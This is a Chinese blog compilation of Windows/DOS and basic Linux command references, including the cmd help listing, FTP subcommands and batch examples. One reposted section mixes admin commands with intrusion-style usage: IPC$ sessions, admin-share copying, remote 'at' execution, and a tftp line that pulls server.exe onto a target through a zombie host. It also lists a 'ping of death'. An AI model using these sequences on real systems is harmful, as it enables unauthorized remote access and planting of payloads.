`

OS + windows command / cmd / dos / Cygwin / UnxUtils / miniGW / powershell

    博客分类:
  • OS
阅读更多

 

DOS 命令帮助文档 command line shell
用好windows的快捷键
http://www.pcfree.cn/cn/service/OS/windows/2004/09/04/article15042615.html
DOS 进入全屏 Alt + Enter
DOS 退出全屏 Alt + Enter 或 Ctrl + Esc 或 exit
32位dos
C:\WINDOWS\system32>cmd.exe
16位dos
C:\WINDOWS\system32>command.com
C:\Documents and Settings\Lindows>cmd
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\Lindows>help
有关某个命令的详细信息,请键入 HELP 命令名
ASSOC    显示或修改文件扩展名关联。
AT       计划在计算机上运行的命令和程序。
ATTRIB   显示或更改文件属性。
BREAK    设置或清除扩展式 CTRL+C 检查。
CACLS    显示或修改文件的访问控制列表(ACLs)。
CALL     从另一个批处理程序调用这一个。
CD       显示当前目录的名称或将其更改。
CHCP     显示或设置活动代码页数。
CHDIR    显示当前目录的名称或将其更改。
CHKDSK   检查磁盘并显示状态报告。
CHKNTFS  显示或修改启动时间磁盘检查。
CLS      清除屏幕。
CMD      打开另一个 Windows 命令解释程序窗口。
COLOR    设置默认控制台前景和背景颜色。
COMP     比较两个或两套文件的内容。
COMPACT  显示或更改 NTFS 分区上文件的压缩。
CONVERT  将 FAT 卷转换成 NTFS。您不能转换
         当前驱动器。
COPY     将至少一个文件复制到另一个位置。
DATE     显示或设置日期。
DEL      删除至少一个文件。
DIR      显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY   编辑命令行、调用 Windows 命令并创建宏。
ECHO     显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE    删除至少一个文件。
EXIT     退出 CMD.EXE 程序(命令解释程序)。
FC       比较两个或两套文件,并显示
         不同处。
FIND     在文件中搜索文字字符串。
FINDSTR  在文件中搜索字符串。
FOR      为一套文件中的每个文件运行一个指定的命
FORMAT   格式化磁盘,以便跟 Windows 使用。
FTYPE    显示或修改用于文件扩展名关联的文件类型
GOTO     将 Windows 命令解释程序指向批处理程序
         中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
         扩展字符集。
HELP     提供 Windows 命令的帮助信息。
IF       执行批处理程序中的条件性处理。
LABEL    创建、更改或删除磁盘的卷标。
MD       创建目录。
MKDIR    创建目录。
MODE     配置系统设备。
MORE     一次显示一个结果屏幕。
MOVE     将文件从一个目录移到另一个目录。
PATH     显示或设置可执行文件的搜索路径。
PAUSE    暂停批文件的处理并显示消息。
POPD     还原 PUSHD 保存的当前目录的上一个值。
PRINT    打印文本文件。
PROMPT   更改 Windows 命令提示符。
PUSHD    保存当前目录,然后对其进行更改。
RD       删除目录。
RECOVER  从有问题的磁盘恢复可读信息。
REM      记录批文件或 CONFIG.SYS 中的注释。
REN      重命名文件。
RENAME   重命名文件。
REPLACE  替换文件。
RMDIR    删除目录。
SET      显示、设置或删除 Windows 环境变量。
SETLOCAL 开始批文件中环境更改的本地化。
SHIFT    更换批文件中可替换参数的位置。
SORT     对输入进行分类。
START    启动另一个窗口来运行指定的程序或命令。
SUBST    将路径跟一个驱动器号关联。
TIME     显示或设置系统时间。
TITLE    设置 CMD.EXE 会话的窗口标题。
TREE     以图形模式显示驱动器或路径的目录结构。
TYPE     显示文本文件的内容。
VER      显示 Windows 版本。
VERIFY   告诉 Windows 是否验证文件是否已正确
         写入磁盘。
VOL      显示磁盘卷标和序列号。
XCOPY    复制文件和目录树。
windows cmd 用法简介
http://destroyed.iteye.com/blog/346585
Windows CMD 命令大全 
http://destroyed.iteye.com/blog/346588
DOS 管道使用
分页显示
C:\Documents and Settings\Lindows>help | more
分页显示并写入c:\cmd.txt
C:\Documents and Settings\Lindows>help | more > c:\cmd.txt
分页显示并在尾部追加写入c:\cmd.txt
C:\Documents and Settings\Lindows>help | more >> c:\cmd.txt
DOS查看系统基本信息
dos查看XP系统信息
C:\Documents and Settings\Lindows>systeminfo
dos查看XP系统内存
C:\Documents and Settings\Lindows>mem
http://blog.chinaunix.net/u2/67395/showart.php?id=1093232
DOS命令讲解
常用的命令
dos 空格问题解决 如Program Files写成"Program Files"即可
cd 改变当前目录  如:D:\>cd "Program Files"
cls 清屏
copy 拷贝文件 http://wenwen.soso.com/z/q118521496.htm
如:
开始--运行--输入--cmd
D:\>copy E:\lindows\workspace\ejb\WebRoot\WEB-INF\classes\HelloWorld.jar E:\lindows\program\ejb\jboss-4.2.3.GA\server\default\deploy\HelloWorld.jar
或者
开始--运行--输入--cmd
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 压缩文件.rar" "C:\Program Files\WinRAR"
或者
开始--运行--输入--cmd
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 压缩文件.rar" "C:\Program Files\WinRAR\"
或者
开始--运行--输入--cmd (拷贝并改名)
D:\>copy "C:\Documents and Settings\lindows\桌面\新建 WinRAR 压缩文件.rar" "C:\Program Files\WinRAR\test.rar"
del 删除文件
deltree 删除目录树
dir 列文件名  如:E:\doc>dir *.txt 如: E:\doc> dir like "*.txt"
diskcopy 复制磁盘
edit 文本编辑
format 格式化磁盘
md 建立子目录
mem 查看内存状况
more 分屏显示
move 移动文件、改目录名
ren 改变文件名
type 显示文件内容
sys 制作DOS系统盘
xcopy 拷贝目录与文件
attrib 设置文件属性
chkdsk 检查磁盘
date 显示及修改日期
defrag 磁盘碎片整理
doskey 重新调用DOS命令
emm386 扩展内存管理
fdisk 硬盘分区
help 帮助
label 设置卷标号
lh 将程序装入高端内存
memmaker内存优化管理
msd 系统检测
path 设置搜寻目录
prempt 设置提示符
restore 恢复备份文件
time 显示及修改时间
scandisk检测、修理磁盘
set 设置环境变量
smartdrv设置磁盘加速器
undelete恢复被删的文件
不常用
http://blog.chinaunix.net/u1/53398/showart.php?id=476988
http://www.cnblogs.com/fly8/archive/2007/05/29/764107.html
sc delete YourServiceName 删除服务名
append 设置非执行文件路径
debug 随机调试程序
diskcomp磁盘比较
expand 还原DOS文件
fasthelp快速显示帮助信息
fc 文件比较
interink启动服务器
intersvr启动客户机
qbasic Basic集成环境
setver 设置版本
share 文件共享
subst 路径替换
tree /? 列目录树   如:C:\Documents and Settings\Lindows>tree d:work /f 或 tree d:work /a
unformat恢复已格式化的磁盘
vsafe 防病毒
ver 显示DOS版本号
vol 显示磁盘卷标号
ctty 改变控制设备
DOS常用命令详解 dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 
sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
不常用DOS命令
diskcomp磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表,呵呵,这个当然是人人要知道的。
可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
三、Cl*
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”
四、**it
退出当前命令解释程序并返回到系统。
五、format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、md
创建目录或子目录
八、Move
将一个或多个文件从一个目录移动到指定的目录。
九、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress 显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
KMHOST查询
http://gurudk.iteye.com/upload/picture/pic/24791/b6135949-64e6-3b29-a257-cc7349014779.jpg
http://zhidao.baidu.com/question/11203050.html?fr=qrl&fr2=query
是用来进行NETBIOS名静态解析的。
将NETBIOS名和IP地址对应起来,功能类似于DNS,只不过DNS是将域名/主机名和IP对应。

潘霞 nbstat -a ip 可以查到计算机名


十、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
十一、*ing
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名称。
例如 ren *.abc *.cba
十三、Set
显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
十四、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
-m ComputerName
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户,这是默认设置。-m ComputerName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
十六、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
图像化显示路径或驱动器中磁盘的目录结构。
十八、Xcopy
复制文件和目录,包括子目录。
/s
复制非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
/e
复制所有子目录,包括空目录。
十九、copy
将一个或多个文件从一个位置复制到其他位置
二十、del
删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多,这里不说了,不过这几个都是常用到的。
CMD命令大全(已更新)

http://yanguz123.iteye.com/blog/1724807


net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
net use h: [url=file://ip/c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view [url=file://ip/]\\ip[/url] 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -0 查看正在进行的工作 进程号
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
冲突端口查看相关信息和PID,并打印到 c:\a.txt
C:\Documents and Settings\Lindows>netstat -ano >c:\a.txt
然后关掉任务管理器里对应的PID进程号即可。
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删 除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at [url=file://ip/]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy \\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中

DOS下统计文本文件的行数的命令是什么?

http://zhidao.baidu.com/question/62500981.html

D:\>findstr /R /N "^" myfile.txt | find /C ":"
288
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 如:
C:\Documents and Settings\lindows>netstat -an | findstr 3389

C:\Documents and Settings\lindows>netstat -an | findstr "3389"
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    172.17.25.104:1161     172.17.25.207:3389     ESTABLISHED
例2:
C:\>type sanple_detail.log | findstr "备份"
 备份暂挂                                                = NO
 要保留的数据库备份的数目               (NUM_DB_BACKUPS) = 12
   自动数据库备份                       (AUTO_DB_BACKUP) = OFF
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
打开 dos " 批量 文件 FTP自动传输 "    
C:\Users\Lindows>ftp 192.168.114.4
Connected to 192.168.114.4.
220 Microsoft FTP Service
User (192.168.114.4:(none)): b2c
331 Password required for b2c.
Password:
230 User logged in.
ftp> bin
200 Type set to I.
ftp> mput *.zip
" 在这里回车多行即可自动传输默认多行文件 "
mput 2010-10-29-03-21-26_2.zip? 200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
496328778 bytes sent in 97 seconds (5e+03 Kbytes/s)
ftp> ftp> ftp> ftp> ftp> ftp> ftp>
ftp> close
221 Goodbye.
ftp> by
如:
C:\Documents and Settings\lindows\桌面>rename "新建 WinRAR 压缩文件".rar test.rar

C:\Documents and Settings\lindows\桌面>move "新建 WinRAR 压缩文件".rar D:\test.rar
http://www.dzwebs.net/846.html
如1.txt,2.txt,3.txt,4.txt......100000.txt;需要将他们全部重新命名为1-1.txt,2-1.txt,3-1.txt,4-1.txt......100000-1.txt
首先建立一个名为rename.bat的文件,里面的代码相当简单,是这样的代码
rename   ???????????????.txt    ???????????????-1.txt
//看懂了吗,就这么简单,使用的?越多,说明越能对长文件名进行改名 !
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

http://lindows.iteye.com/admin/blogs/213348
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。
Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)
附:批处理命令与变量
1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %
XP.CMD命令大全


有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
AT 计划在计算机上运行的命令和程序。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
CACLS 显示或修改文件的访问控制列表(ACLs)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开另一个 Windows 命令解释程序窗口。
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。您不能转换
当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKCOMP 比较两个软盘的内容。
DISKCOPY 将一个软盘的内容复制到另一个软盘。
DOSKEY 编辑命令行、调用 Windows 命令并创建宏。
ECHO 显示消息,或将命令回显打开或关上。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除至少一个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个或两套文件,并显示
不同处。
FIND 在文件中搜索文字字符串。
FOR 为一套文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便跟 Windows 使用。
FTYPE 显示或修改用于文件扩展名关联的文件类型。
GOTO 将 Windows 命令解释程序指向批处理程序
中某个标明的行。
GRAFTABL 启用 Windows 来以图像模式显示
扩展字符集。
HELP 提供 Windows 命令的帮助信息。
IF 执行批处理程序中的条件性处理。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建目录。
MKDIR 创建目录。
